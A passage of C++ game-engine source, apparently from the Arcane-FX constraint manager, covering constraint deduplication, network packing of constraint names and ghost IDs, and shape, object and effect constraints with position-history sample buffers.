dQsort(ghost_defs.address(), ghost_defs.size(), sizeof(afxConstraintDef), cmp_cons_defs);
S32 last = 0;
defineConstraint(OBJECT_CONSTRAINT, ghost_defs[0].cons_src_name);
for (S32 i = 1; i < ghost_defs.size(); i++)
{
if (ghost_defs[last].cons_src_name != ghost_defs[i].cons_src_name)
{
defineConstraint(OBJECT_CONSTRAINT, ghost_defs[i].cons_src_name);
last++;
}
}
}
}
Vector<afxConstraintDef> defs;
// collect defs that run here (server or client)
if (on_server)
{
for (S32 i = 0; i < all_defs.size(); i++)
if (all_defs[i].runs_on_server)
defs.push_back(all_defs[i]);
}
else
{
for (S32 i = 0; i < all_defs.size(); i++)
if (all_defs[i].runs_on_client)
defs.push_back(all_defs[i]);
}
// create unique set of constraints.
//
if (defs.size() > 0)
{
// sort the defs
if (defs.size() > 1)
dQsort(defs.address(), defs.size(), sizeof(afxConstraintDef), cmp_cons_defs);
Vector<afxConstraintDef> unique_defs;
S32 last = 0;
// manufacture root-object def if absent
if (defs[0].cons_node_name != ST_NULLSTRING)
{
afxConstraintDef root_def = defs[0];
root_def.cons_node_name = ST_NULLSTRING;
unique_defs.push_back(root_def);
last++;
}
else if (defs[0].pos_at_box_center)
{
afxConstraintDef root_def = defs[0];
root_def.pos_at_box_center = false;
unique_defs.push_back(root_def);
last++;
}
unique_defs.push_back(defs[0]);
for (S32 i = 1; i < defs.size(); i++)
{
if (unique_defs[last].cons_node_name != defs[i].cons_node_name ||
unique_defs[last].cons_src_name != defs[i].cons_src_name ||
unique_defs[last].pos_at_box_center != defs[i].pos_at_box_center ||
unique_defs[last].def_type != defs[i].def_type)
{
// manufacture root-object def if absent
if (defs[i].cons_src_name != ST_NULLSTRING && unique_defs[last].cons_src_name != defs[i].cons_src_name)
{
if (defs[i].cons_node_name != ST_NULLSTRING || defs[i].pos_at_box_center)
{
afxConstraintDef root_def = defs[i];
root_def.cons_node_name = ST_NULLSTRING;
root_def.pos_at_box_center = false;
unique_defs.push_back(root_def);
last++;
}
}
unique_defs.push_back(defs[i]);
last++;
}
else
{
if (defs[i].history_time > unique_defs[last].history_time)
unique_defs[last].history_time = defs[i].history_time;
if (defs[i].sample_rate > unique_defs[last].sample_rate)
unique_defs[last].sample_rate = defs[i].sample_rate;
}
}
//Con::printf("\nConstraints on %s", (on_server) ? "server" : "client");
for (S32 i = 0; i < unique_defs.size(); i++)
create_constraint(unique_defs[i]);
}
// collect the names of all the arbitrary object constraints
// that run on clients and store in names_on_server array.
//
if (on_server)
{
names_on_server.clear();
defs.clear();
for (S32 i = 0; i < all_defs.size(); i++)
if (all_defs[i].runs_on_client && all_defs[i].isArbitraryObject())
defs.push_back(all_defs[i]);
if (defs.size() < 1)
return;
// sort the defs
if (defs.size() > 1)
dQsort(defs.address(), defs.size(), sizeof(afxConstraintDef), cmp_cons_defs);
S32 last = 0;
names_on_server.push_back(defs[0].cons_src_name);
for (S32 i = 1; i < defs.size(); i++)
{
if (names_on_server[last] != defs[i].cons_src_name)
{
names_on_server.push_back(defs[i].cons_src_name);
last++;
}
}
}
}
void afxConstraintMgr::packConstraintNames(NetConnection* conn, BitStream* stream)
{
// pack any named constraint names and ghost indices
if (stream->writeFlag(names_on_server.size() > 0)) //-- ANY NAMED CONS_BY_ID?
{
stream->write(names_on_server.size());
for (S32 i = 0; i < names_on_server.size(); i++)
{
stream->writeString(names_on_server[i]);
NetObject* obj = dynamic_cast<NetObject*>(Sim::findObject(names_on_server[i]));
if (!obj)
{
//Con::printf("CONSTRAINT-OBJECT %s does not exist.", names_on_server[i]);
stream->write((S32)-1);
}
else
{
S32 ghost_id = conn->getGhostIndex(obj);
/*
if (ghost_id == -1)
Con::printf("CONSTRAINT-OBJECT %s does not have a ghost.", names_on_server[i]);
else
Con::printf("CONSTRAINT-OBJECT %s name to server.", names_on_server[i]);
*/
stream->write(ghost_id);
}
}
}
}
void afxConstraintMgr::unpackConstraintNames(BitStream* stream)
{
if (stream->readFlag()) //-- ANY NAMED CONS_BY_ID?
{
names_on_server.clear();
S32 sz; stream->read(&sz);
for (S32 i = 0; i < sz; i++)
{
names_on_server.push_back(stream->readSTString());
S32 ghost_id; stream->read(&ghost_id);
ghost_ids.push_back(ghost_id);
}
}
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//
SceneObject* afxConstraintMgr::find_object_from_name(StringTableEntry name)
{
if (names_on_server.size() > 0)
{
for (S32 i = 0; i < names_on_server.size(); i++)
if (names_on_server[i] == name)
{
if (ghost_ids[i] == -1)
return 0;
NetConnection* conn = NetConnection::getConnectionToServer();
if (!conn)
return 0;
return dynamic_cast<SceneObject*>(conn->resolveGhost(ghost_ids[i]));
}
}
return dynamic_cast<SceneObject*>(Sim::findObject(name));
}
void afxConstraintMgr::addScopeableObject(SceneObject* object)
{
for (S32 i = 0; i < scopeable_objs.size(); i++)
{
if (scopeable_objs[i] == object)
return;
}
object->addScopeRef();
scopeable_objs.push_back(object);
}
void afxConstraintMgr::removeScopeableObject(SceneObject* object)
{
for (S32 i = 0; i < scopeable_objs.size(); i++)
if (scopeable_objs[i] == object)
{
object->removeScopeRef();
scopeable_objs.erase_fast(i);
return;
}
}
void afxConstraintMgr::clearAllScopeableObjs()
{
for (S32 i = 0; i < scopeable_objs.size(); i++)
scopeable_objs[i]->removeScopeRef();
scopeable_objs.clear();
}
void afxConstraintMgr::postMissingConstraintObject(afxConstraint* cons, bool is_deleting)
{
if (cons->gone_missing)
return;
if (!is_deleting)
{
SceneObject* obj = arcaneFX::findScopedObject(cons->getScopeId());
if (obj)
{
cons->restoreObject(obj);
return;
}
}
cons->gone_missing = true;
missing_objs->push_back(cons);
}
void afxConstraintMgr::restoreScopedObject(SceneObject* obj, afxChoreographer* ch)
{
for (S32 i = 0; i < missing_objs->size(); i++)
{
if ((*missing_objs)[i]->getScopeId() == obj->getScopeId())
{
(*missing_objs)[i]->gone_missing = false;
(*missing_objs)[i]->restoreObject(obj);
if (ch)
ch->restoreObject(obj);
}
else
missing_objs2->push_back((*missing_objs)[i]);
}
Vector<afxConstraint*>* tmp = missing_objs;
missing_objs = missing_objs2;
missing_objs2 = tmp;
missing_objs2->clear();
}
void afxConstraintMgr::adjustProcessOrdering(afxChoreographer* ch)
{
Vector<ProcessObject*> cons_sources;
// add choreographer to the list
cons_sources.push_back(ch);
// collect all the ProcessObject related constraint sources
for (S32 i = 0; i < constraints_v.size(); i++)
{
afxConstraintList* list = constraints_v[i];
afxConstraint* cons = (*list)[0];
if (cons)
{
ProcessObject* pobj = dynamic_cast<ProcessObject*>(cons->getSceneObject());
if (pobj)
cons_sources.push_back(pobj);
}
}
ProcessList* proc_list;
if (ch->isServerObject())
proc_list = ServerProcessList::get();
else
proc_list = ClientProcessList::get();
if (!proc_list)
return;
GameBase* nearest_to_end = dynamic_cast<GameBase*>(proc_list->findNearestToEnd(cons_sources));
GameBase* chor = (GameBase*) ch;
// choreographer needs to be processed after the latest process object
if (chor != nearest_to_end && nearest_to_end != 0)
{
//Con::printf("Choreographer processing BEFORE some of its constraints... fixing. [%s] -- %s",
// (ch->isServerObject()) ? "S" : "C", nearest_to_end->getClassName());
if (chor->isProperlyAdded())
ch->processAfter(nearest_to_end);
else
ch->postProcessAfterObject(nearest_to_end);
}
else
{
//Con::printf("Choreographer processing AFTER its constraints... fine. [%s]",
// (ch->isServerObject()) ? "S" : "C");
}
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxPointConstraint
afxPointConstraint::afxPointConstraint(afxConstraintMgr* mgr)
: afxConstraint(mgr)
{
point.zero();
vector.set(0,0,1);
}
afxPointConstraint::~afxPointConstraint()
{
}
void afxPointConstraint::set(Point3F point, Point3F vector)
{
this->point = point;
this->vector = vector;
is_defined = true;
is_valid = true;
change_code++;
sample(0.0f, 0, 0);
}
void afxPointConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
if (cam_pos)
{
Point3F dir = (*cam_pos) - point;
F32 dist_sq = dir.lenSquared();
if (dist_sq > mgr->getScopingDistanceSquared())
{
is_valid = false;
return;
}
is_valid = true;
}
last_pos = point;
last_xfm.identity();
last_xfm.setPosition(point);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxTransformConstraint
afxTransformConstraint::afxTransformConstraint(afxConstraintMgr* mgr)
: afxConstraint(mgr)
{
xfm.identity();
}
afxTransformConstraint::~afxTransformConstraint()
{
}
void afxTransformConstraint::set(const MatrixF& xfm)
{
this->xfm = xfm;
is_defined = true;
is_valid = true;
change_code++;
sample(0.0f, 0, 0);
}
void afxTransformConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
if (cam_pos)
{
Point3F dir = (*cam_pos) - xfm.getPosition();
F32 dist_sq = dir.lenSquared();
if (dist_sq > mgr->getScopingDistanceSquared())
{
is_valid = false;
return;
}
is_valid = true;
}
last_xfm = xfm;
last_pos = xfm.getPosition();
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxShapeConstraint
afxShapeConstraint::afxShapeConstraint(afxConstraintMgr* mgr)
: afxConstraint(mgr)
{
arb_name = ST_NULLSTRING;
shape = 0;
scope_id = 0;
clip_tag = 0;
lock_tag = 0;
}
afxShapeConstraint::afxShapeConstraint(afxConstraintMgr* mgr, StringTableEntry arb_name)
: afxConstraint(mgr)
{
this->arb_name = arb_name;
shape = 0;
scope_id = 0;
clip_tag = 0;
lock_tag = 0;
}
afxShapeConstraint::~afxShapeConstraint()
{
if (shape)
clearNotify(shape);
}
void afxShapeConstraint::set(ShapeBase* shape)
{
if (this->shape)
{
scope_id = 0;
clearNotify(this->shape);
if (clip_tag > 0)
remapAnimation(clip_tag, shape);
if (lock_tag > 0)
unlockAnimation(lock_tag);
}
this->shape = shape;
if (this->shape)
{
deleteNotify(this->shape);
scope_id = this->shape->getScopeId();
}
if (this->shape != NULL)
{
is_defined = true;
is_valid = true;
change_code++;
sample(0.0f, 0, 0);
}
else
is_valid = false;
}
void afxShapeConstraint::set_scope_id(U16 scope_id)
{
if (shape)
clearNotify(shape);
shape = 0;
this->scope_id = scope_id;
is_defined = (this->scope_id > 0);
is_valid = false;
mgr->postMissingConstraintObject(this);
}
void afxShapeConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
if (gone_missing)
return;
if (shape)
{
last_xfm = shape->getRenderTransform();
if (cons_def.pos_at_box_center)
last_pos = shape->getBoxCenter();
else
last_pos = shape->getRenderPosition();
}
}
void afxShapeConstraint::restoreObject(SceneObject* obj)
{
if (this->shape)
{
scope_id = 0;
clearNotify(this->shape);
}
this->shape = (ShapeBase* )obj;
if (this->shape)
{
deleteNotify(this->shape);
scope_id = this->shape->getScopeId();
}
is_valid = (this->shape != NULL);
}
void afxShapeConstraint::onDeleteNotify(SimObject* obj)
{
if (shape == dynamic_cast<ShapeBase*>(obj))
{
shape = 0;
is_valid = false;
if (scope_id > 0)
mgr->postMissingConstraintObject(this, true);
}
Parent::onDeleteNotify(obj);
}
U32 afxShapeConstraint::setAnimClip(const char* clip, F32 pos, F32 rate, F32 trans, bool is_death_anim)
{
if (!shape)
return 0;
if (shape->isServerObject())
{
AIPlayer* ai_player = dynamic_cast<AIPlayer*>(shape);
if (ai_player && !ai_player->isBlendAnimation(clip))
{
ai_player->saveMoveState();
ai_player->stopMove();
}
}
clip_tag = shape->playAnimation(clip, pos, rate, trans, false/*hold*/, true/*wait*/, is_death_anim);
return clip_tag;
}
void afxShapeConstraint::remapAnimation(U32 tag, ShapeBase* other_shape)
{
if (clip_tag == 0)
return;
if (!shape)
return;
if (!other_shape)
{
resetAnimation(tag);
return;
}
Con::errorf("remapAnimation -- Clip name, %s.", shape->getLastClipName(tag));
if (shape->isClientObject())
{
shape->restoreAnimation(tag);
}
else
{
AIPlayer* ai_player = dynamic_cast<AIPlayer*>(shape);
if (ai_player)
ai_player->restartMove(tag);
else
shape->restoreAnimation(tag);
}
clip_tag = 0;
}
void afxShapeConstraint::resetAnimation(U32 tag)
{
if (clip_tag == 0)
return;
if (!shape)
return;
if (shape->isClientObject())
{
shape->restoreAnimation(tag);
}
else
{
AIPlayer* ai_player = dynamic_cast<AIPlayer*>(shape);
if (ai_player)
ai_player->restartMove(tag);
else
shape->restoreAnimation(tag);
}
if ((tag & 0x80000000) == 0 && tag == clip_tag)
clip_tag = 0;
}
U32 afxShapeConstraint::lockAnimation()
{
if (!shape)
return 0;
lock_tag = shape->lockAnimation();
return lock_tag;
}
void afxShapeConstraint::unlockAnimation(U32 tag)
{
if (lock_tag == 0)
return;
if (!shape)
return;
shape->unlockAnimation(tag);
lock_tag = 0;
}
F32 afxShapeConstraint::getAnimClipDuration(const char* clip)
{
return (shape) ? shape->getAnimationDuration(clip) : 0.0f;
}
S32 afxShapeConstraint::getDamageState()
{
return (shape) ? shape->getDamageState() : -1;
}
U32 afxShapeConstraint::getTriggers()
{
return (shape) ? shape->getShapeInstance()->getTriggerStateMask() : 0;
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxShapeNodeConstraint
afxShapeNodeConstraint::afxShapeNodeConstraint(afxConstraintMgr* mgr)
: afxShapeConstraint(mgr)
{
arb_node = ST_NULLSTRING;
shape_node_ID = -1;
}
afxShapeNodeConstraint::afxShapeNodeConstraint(afxConstraintMgr* mgr, StringTableEntry arb_name, StringTableEntry arb_node)
: afxShapeConstraint(mgr, arb_name)
{
this->arb_node = arb_node;
shape_node_ID = -1;
}
void afxShapeNodeConstraint::set(ShapeBase* shape)
{
if (shape)
{
shape_node_ID = shape->getShape()->findNode(arb_node);
if (shape_node_ID == -1)
Con::errorf("Failed to find node [%s]", arb_node);
}
else
shape_node_ID = -1;
Parent::set(shape);
}
void afxShapeNodeConstraint::set_scope_id(U16 scope_id)
{
shape_node_ID = -1;
Parent::set_scope_id(scope_id);
}
void afxShapeNodeConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
if (shape && shape_node_ID != -1)
{
last_xfm = shape->getRenderTransform();
last_xfm.scale(shape->getScale());
last_xfm.mul(shape->getShapeInstance()->mNodeTransforms[shape_node_ID]);
last_pos = last_xfm.getPosition();
}
}
void afxShapeNodeConstraint::restoreObject(SceneObject* obj)
{
ShapeBase* shape = dynamic_cast<ShapeBase*>(obj);
if (shape)
{
shape_node_ID = shape->getShape()->findNode(arb_node);
if (shape_node_ID == -1)
Con::errorf("Failed to find node [%s]", arb_node);
}
else
shape_node_ID = -1;
Parent::restoreObject(obj);
}
void afxShapeNodeConstraint::onDeleteNotify(SimObject* obj)
{
Parent::onDeleteNotify(obj);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxObjectConstraint
afxObjectConstraint::afxObjectConstraint(afxConstraintMgr* mgr)
: afxConstraint(mgr)
{
arb_name = ST_NULLSTRING;
obj = 0;
scope_id = 0;
is_camera = false;
}
afxObjectConstraint::afxObjectConstraint(afxConstraintMgr* mgr, StringTableEntry arb_name)
: afxConstraint(mgr)
{
this->arb_name = arb_name;
obj = 0;
scope_id = 0;
is_camera = false;
}
afxObjectConstraint::~afxObjectConstraint()
{
if (obj)
clearNotify(obj);
}
void afxObjectConstraint::set(SceneObject* obj)
{
if (this->obj)
{
scope_id = 0;
clearNotify(this->obj);
}
this->obj = obj;
if (this->obj)
{
deleteNotify(this->obj);
scope_id = this->obj->getScopeId();
}
if (this->obj != NULL)
{
is_camera = this->obj->isCamera();
is_defined = true;
is_valid = true;
change_code++;
sample(0.0f, 0, 0);
}
else
is_valid = false;
}
void afxObjectConstraint::set_scope_id(U16 scope_id)
{
if (obj)
clearNotify(obj);
obj = 0;
this->scope_id = scope_id;
is_defined = (scope_id > 0);
is_valid = false;
mgr->postMissingConstraintObject(this);
}
void afxObjectConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
if (gone_missing)
return;
if (obj)
{
if (!is_camera && cons_def.treat_as_camera && dynamic_cast<ShapeBase*>(obj))
{
ShapeBase* cam_obj = (ShapeBase*) obj;
F32 pov = 1.0f;
cam_obj->getCameraTransform(&pov, &last_xfm);
last_xfm.getColumn(3, &last_pos);
}
else
{
last_xfm = obj->getRenderTransform();
if (cons_def.pos_at_box_center)
last_pos = obj->getBoxCenter();
else
last_pos = obj->getRenderPosition();
}
}
}
void afxObjectConstraint::restoreObject(SceneObject* obj)
{
if (this->obj)
{
scope_id = 0;
clearNotify(this->obj);
}
this->obj = obj;
if (this->obj)
{
deleteNotify(this->obj);
scope_id = this->obj->getScopeId();
}
is_valid = (this->obj != NULL);
}
void afxObjectConstraint::onDeleteNotify(SimObject* obj)
{
if (this->obj == dynamic_cast<SceneObject*>(obj))
{
this->obj = 0;
is_valid = false;
if (scope_id > 0)
mgr->postMissingConstraintObject(this, true);
}
Parent::onDeleteNotify(obj);
}
U32 afxObjectConstraint::getTriggers()
{
TSStatic* ts_static = dynamic_cast<TSStatic*>(obj);
if (ts_static)
{
TSShapeInstance* obj_inst = ts_static->getShapeInstance();
return (obj_inst) ? obj_inst->getTriggerStateMask() : 0;
}
ShapeBase* shape_base = dynamic_cast<ShapeBase*>(obj);
if (shape_base)
{
TSShapeInstance* obj_inst = shape_base->getShapeInstance();
return (obj_inst) ? obj_inst->getTriggerStateMask() : 0;
}
return 0;
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxEffectConstraint
afxEffectConstraint::afxEffectConstraint(afxConstraintMgr* mgr)
: afxConstraint(mgr)
{
effect_name = ST_NULLSTRING;
effect = 0;
}
afxEffectConstraint::afxEffectConstraint(afxConstraintMgr* mgr, StringTableEntry effect_name)
: afxConstraint(mgr)
{
this->effect_name = effect_name;
effect = 0;
}
afxEffectConstraint::~afxEffectConstraint()
{
}
bool afxEffectConstraint::getPosition(Point3F& pos, F32 hist)
{
if (!effect || !effect->inScope())
return false;
if (cons_def.pos_at_box_center)
effect->getUpdatedBoxCenter(pos);
else
effect->getUpdatedPosition(pos);
return true;
}
bool afxEffectConstraint::getTransform(MatrixF& xfm, F32 hist)
{
if (!effect || !effect->inScope())
return false;
effect->getUpdatedTransform(xfm);
return true;
}
bool afxEffectConstraint::getAltitudes(F32& terrain_alt, F32& interior_alt)
{
if (!effect)
return false;
effect->getAltitudes(terrain_alt, interior_alt);
return true;
}
void afxEffectConstraint::set(afxEffectWrapper* effect)
{
this->effect = effect;
if (this->effect != NULL)
{
is_defined = true;
is_valid = true;
change_code++;
}
else
is_valid = false;
}
U32 afxEffectConstraint::setAnimClip(const char* clip, F32 pos, F32 rate, F32 trans, bool is_death_anim)
{
return (effect) ? effect->setAnimClip(clip, pos, rate, trans) : 0;
}
void afxEffectConstraint::resetAnimation(U32 tag)
{
if (effect)
effect->resetAnimation(tag);
}
F32 afxEffectConstraint::getAnimClipDuration(const char* clip)
{
return (effect) ? getAnimClipDuration(clip) : 0;
}
U32 afxEffectConstraint::getTriggers()
{
return (effect) ? effect->getTriggers() : 0;
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxEffectNodeConstraint
afxEffectNodeConstraint::afxEffectNodeConstraint(afxConstraintMgr* mgr)
: afxEffectConstraint(mgr)
{
effect_node = ST_NULLSTRING;
effect_node_ID = -1;
}
afxEffectNodeConstraint::afxEffectNodeConstraint(afxConstraintMgr* mgr, StringTableEntry name, StringTableEntry node)
: afxEffectConstraint(mgr, name)
{
this->effect_node = node;
effect_node_ID = -1;
}
bool afxEffectNodeConstraint::getPosition(Point3F& pos, F32 hist)
{
if (!effect || !effect->inScope())
return false;
TSShapeInstance* ts_shape_inst = effect->getTSShapeInstance();
if (!ts_shape_inst)
return false;
if (effect_node_ID == -1)
{
TSShape* ts_shape = effect->getTSShape();
effect_node_ID = (ts_shape) ? ts_shape->findNode(effect_node) : -1;
}
if (effect_node_ID == -1)
return false;
effect->getUpdatedTransform(last_xfm);
Point3F scale;
effect->getUpdatedScale(scale);
MatrixF gag = ts_shape_inst->mNodeTransforms[effect_node_ID];
gag.setPosition( gag.getPosition()*scale );
MatrixF xfm;
xfm.mul(last_xfm, gag);
//
pos = xfm.getPosition();
return true;
}
bool afxEffectNodeConstraint::getTransform(MatrixF& xfm, F32 hist)
{
if (!effect || !effect->inScope())
return false;
TSShapeInstance* ts_shape_inst = effect->getTSShapeInstance();
if (!ts_shape_inst)
return false;
if (effect_node_ID == -1)
{
TSShape* ts_shape = effect->getTSShape();
effect_node_ID = (ts_shape) ? ts_shape->findNode(effect_node) : -1;
}
if (effect_node_ID == -1)
return false;
effect->getUpdatedTransform(last_xfm);
Point3F scale;
effect->getUpdatedScale(scale);
MatrixF gag = ts_shape_inst->mNodeTransforms[effect_node_ID];
gag.setPosition( gag.getPosition()*scale );
xfm.mul(last_xfm, gag);
return true;
}
void afxEffectNodeConstraint::set(afxEffectWrapper* effect)
{
if (effect)
{
TSShape* ts_shape = effect->getTSShape();
effect_node_ID = (ts_shape) ? ts_shape->findNode(effect_node) : -1;
}
else
effect_node_ID = -1;
Parent::set(effect);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxSampleBuffer
afxSampleBuffer::afxSampleBuffer()
{
buffer_sz = 0;
buffer_ms = 0;
ms_per_sample = 33;
elapsed_ms = 0;
last_sample_ms = 0;
next_sample_num = 0;
n_samples = 0;
}
afxSampleBuffer::~afxSampleBuffer()
{
}
void afxSampleBuffer::configHistory(F32 hist_len, U8 sample_rate)
{
buffer_sz = mCeil(hist_len*sample_rate) + 1;
ms_per_sample = mCeil(1000.0f/sample_rate);
buffer_ms = buffer_sz*ms_per_sample;
}
void afxSampleBuffer::recordSample(F32 dt, U32 elapsed_ms, void* data)
{
this->elapsed_ms = elapsed_ms;
if (!data)
return;
U32 now_sample_num = elapsed_ms/ms_per_sample;
if (next_sample_num <= now_sample_num)
{
last_sample_ms = elapsed_ms;
while (next_sample_num <= now_sample_num)
{
recSample(next_sample_num % buffer_sz, data);
next_sample_num++;
n_samples++;
}
}
}
inline bool afxSampleBuffer::compute_idx_from_lag(F32 lag, U32& idx)
{
bool in_bounds = true;
U32 lag_ms = lag*1000.0f;
U32 rec_ms = (elapsed_ms < buffer_ms) ? elapsed_ms : buffer_ms;
if (lag_ms > rec_ms)
{
// hasn't produced enough history
lag_ms = rec_ms;
in_bounds = false;
}
U32 latest_sample_num = last_sample_ms/ms_per_sample;
U32 then_sample_num = (elapsed_ms - lag_ms)/ms_per_sample;
if (then_sample_num > latest_sample_num)
{
// latest sample is older than lag
then_sample_num = latest_sample_num;
in_bounds = false;
}
idx = then_sample_num % buffer_sz;
return in_bounds;
}
inline bool afxSampleBuffer::compute_idx_from_lag(F32 lag, U32& idx1, U32& idx2, F32& t)
{
bool in_bounds = true;
F32 lag_ms = lag*1000.0f;
F32 rec_ms = (elapsed_ms < buffer_ms) ? elapsed_ms : buffer_ms;
if (lag_ms > rec_ms)
{
// hasn't produced enough history
lag_ms = rec_ms;
in_bounds = false;
}
F32 per_samp = ms_per_sample;
F32 latest_sample_num = last_sample_ms/per_samp;
F32 then_sample_num = (elapsed_ms - lag_ms)/per_samp;
U32 latest_sample_num_i = latest_sample_num;
U32 then_sample_num_i = then_sample_num;
if (then_sample_num_i >= latest_sample_num_i)
{
if (latest_sample_num_i < then_sample_num_i)
in_bounds = false;
t = 0.0;
idx1 = then_sample_num_i % buffer_sz;
idx2 = idx1;
}
else
{
t = then_sample_num - then_sample_num_i;
idx1 = then_sample_num_i % buffer_sz;
idx2 = (then_sample_num_i+1) % buffer_sz;
}
return in_bounds;
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxSampleXfmBuffer
afxSampleXfmBuffer::afxSampleXfmBuffer()
{
xfm_buffer = 0;
}
afxSampleXfmBuffer::~afxSampleXfmBuffer()
{
delete [] xfm_buffer;
}
void afxSampleXfmBuffer::configHistory(F32 hist_len, U8 sample_rate)
{
if (!xfm_buffer)
{
afxSampleBuffer::configHistory(hist_len, sample_rate);
if (buffer_sz > 0)
xfm_buffer = new MatrixF[buffer_sz];
}
}
void afxSampleXfmBuffer::recSample(U32 idx, void* data)
{
xfm_buffer[idx] = *((MatrixF*)data);
}
void afxSampleXfmBuffer::getSample(F32 lag, void* data, bool& in_bounds)
{
U32 idx1, idx2;
F32 t;
in_bounds = compute_idx_from_lag(lag, idx1, idx2, t);
if (idx1 == idx2)
{
MatrixF* m1 = &xfm_buffer[idx1];
*((MatrixF*)data) = *m1;
}
else
{
MatrixF* m1 = &xfm_buffer[idx1];
MatrixF* m2 = &xfm_buffer[idx2];
Point3F p1 = m1->getPosition();
Point3F p2 = m2->getPosition();
Point3F p; p.interpolate(p1, p2, t);
if (t < 0.5f)
*((MatrixF*)data) = *m1;
else
*((MatrixF*)data) = *m2;
((MatrixF*)data)->setPosition(p);
}
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxPointHistConstraint
afxPointHistConstraint::afxPointHistConstraint(afxConstraintMgr* mgr)
: afxPointConstraint(mgr)
{
samples = 0;
}
afxPointHistConstraint::~afxPointHistConstraint()
{
delete samples;
}
void afxPointHistConstraint::set(Point3F point, Point3F vector)
{
if (!samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set(point, vector);
}
void afxPointHistConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
Parent::sample(dt, elapsed_ms, cam_pos);
if (isDefined())
{
if (isValid())
samples->recordSample(dt, elapsed_ms, &last_xfm);
else
samples->recordSample(dt, elapsed_ms, 0);
}
}
bool afxPointHistConstraint::getPosition(Point3F& pos, F32 hist)
{
bool in_bounds;
MatrixF xfm;
samples->getSample(hist, &xfm, in_bounds);
pos = xfm.getPosition();
return in_bounds;
}
bool afxPointHistConstraint::getTransform(MatrixF& xfm, F32 hist)
{
bool in_bounds;
samples->getSample(hist, &xfm, in_bounds);
return in_bounds;
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxPointHistConstraint
afxTransformHistConstraint::afxTransformHistConstraint(afxConstraintMgr* mgr)
: afxTransformConstraint(mgr)
{
samples = 0;
}
afxTransformHistConstraint::~afxTransformHistConstraint()
{
delete samples;
}
void afxTransformHistConstraint::set(const MatrixF& xfm)
{
if (!samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set(xfm);
}
void afxTransformHistConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
Parent::sample(dt, elapsed_ms, cam_pos);
if (isDefined())
{
if (isValid())
samples->recordSample(dt, elapsed_ms, &last_xfm);
else
samples->recordSample(dt, elapsed_ms, 0);
}
}
bool afxTransformHistConstraint::getPosition(Point3F& pos, F32 hist)
{
bool in_bounds;
MatrixF xfm;
samples->getSample(hist, &xfm, in_bounds);
pos = xfm.getPosition();
return in_bounds;
}
bool afxTransformHistConstraint::getTransform(MatrixF& xfm, F32 hist)
{
bool in_bounds;
samples->getSample(hist, &xfm, in_bounds);
return in_bounds;
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxShapeHistConstraint
afxShapeHistConstraint::afxShapeHistConstraint(afxConstraintMgr* mgr)
: afxShapeConstraint(mgr)
{
samples = 0;
}
afxShapeHistConstraint::afxShapeHistConstraint(afxConstraintMgr* mgr, StringTableEntry arb_name)
: afxShapeConstraint(mgr, arb_name)
{
samples = 0;
}
afxShapeHistConstraint::~afxShapeHistConstraint()
{
delete samples;
}
void afxShapeHistConstraint::set(ShapeBase* shape)
{
if (shape && !samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set(shape);
}
void afxShapeHistConstraint::set_scope_id(U16 scope_id)
{
if (scope_id > 0 && !samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set_scope_id(scope_id);
}
void afxShapeHistConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
Parent::sample(dt, elapsed_ms, cam_pos);
if (isDefined())
{
if (isValid())
samples->recordSample(dt, elapsed_ms, &last_xfm);
else
samples->recordSample(dt, elapsed_ms, 0);
}
}
bool afxShapeHistConstraint::getPosition(Point3F& pos, F32 hist)
{
bool in_bounds;
MatrixF xfm;
samples->getSample(hist, &xfm, in_bounds);
